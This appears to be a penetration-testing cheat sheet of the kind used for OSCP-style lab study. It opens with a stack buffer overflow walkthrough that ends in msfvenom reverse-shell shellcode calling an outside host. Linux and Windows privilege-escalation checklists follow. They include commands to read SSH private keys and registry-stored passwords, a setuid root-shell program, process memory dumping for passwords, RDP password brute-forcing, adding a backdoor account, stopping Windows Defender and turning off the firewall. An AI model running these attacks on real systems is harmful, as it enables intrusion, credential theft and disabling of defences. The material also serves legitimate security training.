# BASIC GUIDE
1. Send "A"*1024
2. Replace "A" with /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l LENGTH
3. When crash "!mona findmsp" (E10.11.1.111 offset) or ""/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q TEXT" or "!mona pattern_offset eip"
4. Confirm the location with "B" and "C"
5. Check for badchars instead CCCC (ESP):
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
with script _badchars.py and 
"!mona compare -a esp -f C:\Users\IEUser\Desktop\badchar_test.bin"
	5.1 AWESOME WAY TO CHECK BADCHARS (https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/):
		a. !mona config -set workingfolder c:\logs\%p
	    b. !mona bytearray -b "\x00\x0d"
	    c. Copy from c:\logs\%p\bytearray.txt to python exploit and run again
	    d. !mona compare -f C:\logs\%p\bytearray.bin -a 02F238D0 (ESP address)
	    e. In " data", before unicode chars it shows badchars.
 6. Find JMP ESP with "!mona modules" or "!mona jmp -r esp" or "!mona jmp -r esp -cpb '\x00\x0a\x0d'" find one with security modules "FALSE"
 
	6.1 Then, "!mona find -s "\xff\xe4" -m PROGRAM/DLL-FALSE"
	6.2 Remember put the JMP ESP location in reverse order due to endianness: 5F4A358F will be \x8f\x35\x4a\x5f


7. Generate shellcode and place it:
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.1.111 LPORT=4433 -f python –e x86/shikata_ga_nai -b "\x00"

msfvenom -p windows/shell_reverse_tcp lhost=10.11.1.111 lport=443 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai -f python -v shellcode

8. Final buffer like:
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

Kernel exploits

site:exploit-db.com kernel version

perl /root/oscp/useful-tools/privesc/linux/Linux_Exploit_Suggester/Linux_Exploit_Suggester.pl -k 2.6

python linprivchecker.py extended

Programs running as root

Look for webserver, mysql or anything else like that.

# Metasploit
ps

# Linux
ps aux

Installed software

/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )

# OpenBSD, FreeBSD
pkg_info

Weak/reused/plaintext passwords

Check database config-file
Check databases
Check weak passwords

username:username
username:username1
username:root
username:admin
username:qwerty
username:password

Check plaintext

./LinEnum.sh -t -k password

Inside service

# Linux
netstat -anlp
netstat -ano

Suid misconfiguration

Binary with suid permission can be run by anyone, but when they are run they are run as root!

Example programs:

nmap
vim
nano

# SUID
find / -perm -4000 -type f 2>/dev/null

# ALL PERMS
find / -perm -777 -type f 2>/dev/null

# SUID for current user
find / perm /u=s -user `whoami` 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null

# Writables for current user/group
find / perm /u=w -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null
find / -perm /u+w -user `whoami` 2>/dev/nul

# Dirs with +w perms for current u/g
find / perm /u=w -type -d -user `whoami` 2>/dev/null
find / -perm /u+w,g+w -d -user `whoami` 2>/dev/null

Unmounted filesystems

Here we are looking for any unmounted filesystems. If we find one we mount it and start the priv-esc process over again.

mount -l

Cronjob

Look for anything that is owned by privileged user but writable for you

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

SSH Keys

Check all home directories

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

Bad path configuration

Require user interaction

Find plain passwords

grep -rnw '/' -ie 'pass' --color=always
grep -rnw '/' -ie 'DB_PASS' --color=always
grep -rnw '/' -ie 'DB_PASSWORD' --color=always
grep -rnw '/' -ie 'DB_USER' --color=always

Scripts

SUID

int main(void){
  setresuid(0, 0, 0);
  system("/bin/bash");
}

# Compile
gcc suid.c -o suid

PS Monitor for cron

#!/bin/bash

# Loop by line
IFS=$'\n'

old_process=$(ps -eo command)

while true; do
	new_process=$(ps -eo command)
	diff <(echo "$old_process") <(echo "$new_process") | grep [\<\>]
	sleep 1
	old_process=$new_process
done

Linux Privesc Tools

Linux Precompiled Exploits

Windows

Now we start the whole enumeration-process over gain. This is a checklist. You need to check of every single one, in this order.

Kernel exploits
Cleartext password
Reconfigure service parameters
Inside service
Program running as root
Installed software
Scheduled tasks
Weak passwords

Basic info

systeminfo

hostname
net users

netsh firewall show config

# Set path

Kernel exploits

# Look for hotfixes
systeminfo

wmic qfe get Caption,Description,HotFixID,InstalledOn

# Search for exploits

Cleartext passwords

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Reconfigure service parameters

Unquoted service paths
Weak service permissions

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/

Dump process for passwords

# Looking for Firefox
Get-Process
./procdump64.exe -ma $PID-FF
Select-String -Path .\*.dmp -Pattern 'password' > 1.txt
type 1.txt | findstr /s /i "admin"

Inside service

Check netstat to see what ports are open from outside and from inside. Look for ports only available on the inside.

# Meterpreter
run get_local_subnets

netstat /a
netstat -ano

Programs running as root/system

Installed software

# Metasploit
ps

tasklist /SVC
net start
reg query HKEY_LOCAL_MACHINE\SOFTWARE
DRIVERQUERY

Look in:
C:\Program files
C:\Program files (x86)
Home directory of the user

Scheduled tasks

schtasks /query /fo LIST /v

Check this file:
c:\WINDOWS\SchedLgU.Txt

Weak passwords

Remote desktop

ncrack -vv --user george -P /root/oscp/passwords.txt rdp://10.11.1.111

Add user and enable RDP

# Add new user

net user haxxor Haxxor123 /add

# Turn firewall off and enable RDP

sc stop WinDefend
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
